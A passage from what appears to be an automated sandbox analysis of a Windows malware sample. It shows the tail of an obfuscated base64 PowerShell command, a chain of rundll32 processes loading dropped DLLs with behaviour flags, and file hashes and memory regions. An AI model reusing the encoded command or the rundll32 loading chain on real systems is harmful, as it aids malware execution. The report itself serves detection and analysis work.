cAKQArACcAawBnACcAKwAnAG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAGYANABjAHQAeQBjAD0AKAAoACcASwAnACsAJwBqAG8AJwApACsAJwA0ACcAKwAoACcAYgBtACcAKwAnAGcAJwApACkA
        2⤵
        • Blocklisted process makes network request
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1580
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rg0646r\Q90xmrq\M8jklv4.dll #1
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:672
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rg0646r\Q90xmrq\M8jklv4.dll #1
            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:1564
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Irdh\wdpb.ffy",RunDLL
              5⤵
              • Blocklisted process makes network request
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1600
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Irdh\hylkzb.dll",RunDLL wAIAABwAAABJAHIAZABoAFwAdwBkAHAAYgAuAGYAZgB5AAAA
                6⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:436
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Irdh\wdpb.ffy",Control_RunDLL
                  7⤵
                  • Blocklisted process makes network request
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1632

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\Rg0646r\Q90xmrq\M8jklv4.dll

      MD5

      714cdae2b20896e72d92e28dc831b81b

      SHA1

      67021f3a6d4d0853c714b6b2d9ebc8114ec13765

      SHA256

      fc21d1230e4243ead71641a9f65459c931c2bf0fbff7992628165e2ebe38c22f

      SHA512

      658fa9ded8b5061b506019d8a01df4fa628eb52bc17aff0198122179534a4cd6eb9b2652990780c2709954a1c0a5258bb56ac2d80132d43c255886f09354005e

    • C:\Windows\SysWOW64\Irdh\hylkzb.dll

      MD5

      9a062ead5b2d55af0a5a4b39c5b5eadc

      SHA1

      fc83367be87c700a696b0329dab538b5e47d90bf

      SHA256

      a9c68d527223db40014d067cf4fdae5be46cca67387e9cfdff118276085f23ef

      SHA512

      693ab862c7e3c5dad3ca3d44bbc4a5a4c2391ff558e02e86e4c1d7d1fa7c00b4acf1c426ca619dea2b422997caaf1f0ecba37ec0ffca19edaca297005c9ad861

    • \Users\Admin\Rg0646r\Q90xmrq\M8jklv4.dll

      MD5

      714cdae2b20896e72d92e28dc831b81b

      SHA1

      67021f3a6d4d0853c714b6b2d9ebc8114ec13765

      SHA256

      fc21d1230e4243ead71641a9f65459c931c2bf0fbff7992628165e2ebe38c22f

      SHA512

      658fa9ded8b5061b506019d8a01df4fa628eb52bc17aff0198122179534a4cd6eb9b2652990780c2709954a1c0a5258bb56ac2d80132d43c255886f09354005e

    • \Users\Admin\Rg0646r\Q90xmrq\M8jklv4.dll

      MD5

      714cdae2b20896e72d92e28dc831b81b

      SHA1

      67021f3a6d4d0853c714b6b2d9ebc8114ec13765

      SHA256

      fc21d1230e4243ead71641a9f65459c931c2bf0fbff7992628165e2ebe38c22f

      SHA512

      658fa9ded8b5061b506019d8a01df4fa628eb52bc17aff0198122179534a4cd6eb9b2652990780c2709954a1c0a5258bb56ac2d80132d43c255886f09354005e

    • \Users\Admin\Rg0646r\Q90xmrq\M8jklv4.dll

      MD5

      714cdae2b20896e72d92e28dc831b81b

      SHA1

      67021f3a6d4d0853c714b6b2d9ebc8114ec13765

      SHA256

      fc21d1230e4243ead71641a9f65459c931c2bf0fbff7992628165e2ebe38c22f

      SHA512

      658fa9ded8b5061b506019d8a01df4fa628eb52bc17aff0198122179534a4cd6eb9b2652990780c2709954a1c0a5258bb56ac2d80132d43c255886f09354005e

    • \Users\Admin\Rg0646r\Q90xmrq\M8jklv4.dll

      MD5

      714cdae2b20896e72d92e28dc831b81b

      SHA1

      67021f3a6d4d0853c714b6b2d9ebc8114ec13765

      SHA256

      fc21d1230e4243ead71641a9f65459c931c2bf0fbff7992628165e2ebe38c22f

      SHA512

      658fa9ded8b5061b506019d8a01df4fa628eb52bc17aff0198122179534a4cd6eb9b2652990780c2709954a1c0a5258bb56ac2d80132d43c255886f09354005e

    • \Windows\SysWOW64\Irdh\hylkzb.dll

      MD5

      9a062ead5b2d55af0a5a4b39c5b5eadc

      SHA1

      fc83367be87c700a696b0329dab538b5e47d90bf

      SHA256

      a9c68d527223db40014d067cf4fdae5be46cca67387e9cfdff118276085f23ef

      SHA512

      693ab862c7e3c5dad3ca3d44bbc4a5a4c2391ff558e02e86e4c1d7d1fa7c00b4acf1c426ca619dea2b422997caaf1f0ecba37ec0ffca19edaca297005c9ad861

    • \Windows\SysWOW64\Irdh\hylkzb.dll

      MD5

      9a062ead5b2d55af0a5a4b39c5b5eadc

      SHA1

      fc83367be87c700a696b0329dab538b5e47d90bf

      SHA256

      a9c68d527223db40014d067cf4fdae5be46cca67387e9cfdff118276085f23ef

      SHA512

      693ab862c7e3c5dad3ca3d44bbc4a5a4c2391ff558e02e86e4c1d7d1fa7c00b4acf1c426ca619dea2b422997caaf1f0ecba37ec0ffca19edaca297005c9ad861

    • \Windows\SysWOW64\Irdh\hylkzb.dll

      MD5

      9a062ead5b2d55af0a5a4b39c5b5eadc

      SHA1

      fc83367be87c700a696b0329dab538b5e47d90bf

      SHA256

      a9c68d527223db40014d067cf4fdae5be46cca67387e9cfdff118276085f23ef

      SHA512

      693ab862c7e3c5dad3ca3d44bbc4a5a4c2391ff558e02e86e4c1d7d1fa7c00b4acf1c426ca619dea2b422997caaf1f0ecba37ec0ffca19edaca297005c9ad861

    • \Windows\SysWOW64\Irdh\hylkzb.dll

      MD5

      9a062ead5b2d55af0a5a4b39c5b5eadc

      SHA1

      fc83367be87c700a696b0329dab538b5e47d90bf

      SHA256

      a9c68d527223db40014d067cf4fdae5be46cca67387e9cfdff118276085f23ef

      SHA512

      693ab862c7e3c5dad3ca3d44bbc4a5a4c2391ff558e02e86e4c1d7d1fa7c00b4acf1c426ca619dea2b422997caaf1f0ecba37ec0ffca19edaca297005c9ad861

    • memory/436-38-0x0000000002010000-0x0000000002021000-memory.dmp

      Filesize

      68KB

    • memory/436-31-0x0000000000000000-mapping.dmp

    • memory/436-40-0x0000000000190000-0x00000000001B0000-memory.dmp

      Filesize

      128KB

    • memory/436-39-0x0000000000170000-0x000000000018D000-memory.dmp

      Filesize

      116KB

    • memory/560-30-0x000007FEF7C70000-0x000007FEF7EEA000-memory.dmp

      Filesize

      2.5MB

    • memory/672-18-0x0000000000000000-mapping.dmp

    • memory/800-2-0x0000000072E21000-0x0000000072E24000-memory.dmp

      Filesize

      12KB

    • memory/800-3-0x00000000708A1000-0x00000000708A3000-memory.dmp

      Filesize

      8KB

    • memory/800-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/800-5-0x0000000005E70000-0x0000000005E72000-memory.dmp

      Filesize

      8KB

    • memory/1376-6-0x0000000000000000-mapping.dmp

    • memory/1564-26-0x00000000006B0000-0x00000000006D2000-memory.dmp

      Filesize

      136KB

    • memory/1564-20-0x0000000000000000-mapping.dmp

    • memory/1564-21-0x0000000076C21000-0x0000000076C23000-memory.dmp

      Filesize

      8KB

    • memory/1580-17-0x000000001B830000-0x000000001B831000-memory.dmp

      Filesize

      4KB

    • memory/1580-8-0x000007FEFC321000-0x000007FEFC323000-memory.dmp

      Filesize

      8KB

    • memory/1580-13-0x000000001AC44000-0x000000001AC46000-memory.dmp

      Filesize

      8KB

    • memory/1580-15-0x00000000022E0000-0x00000000022E1000-memory.dmp

      Filesize

      4KB

    • memory/1580-11-0x000000001ACC0000-0x000000001ACC1000-memory.dmp

      Filesize

      4KB

    • memory/1580-10-0x0000000002390000-0x0000000002391000-memory.dmp

      Filesize

      4KB

    • memory/1580-9-0x000007FEF5980000-0x000007FEF636C000-memory.dmp

      Filesize

      9.9MB

    • memory/1580-16-0x000000001AB90000-0x000000001AB91000-memory.dmp

      Filesize

      4KB

    • memory/1580-7-0x0000000000000000-mapping.dmp

    • memory/1580-14-0x00000000023D0000-0x00000000023D1000-memory.dmp

      Filesize

      4KB

    • memory/1580-12-0x000000001AC40000-0x000000001AC42000-memory.dmp

      Filesize

      8KB

    • memory/1600-27-0x0000000000000000-mapping.dmp

    • memory/1600-29-0x00000000001A0000-0x00000000001C2000-memory.dmp

      Filesize

      136KB

    • memory/1632-41-0x0000000000000000-mapping.dmp

    • memory/1632-44-0x00000000001A0000-0x00000000001C0000-memory.dmp

      Filesize

      128KB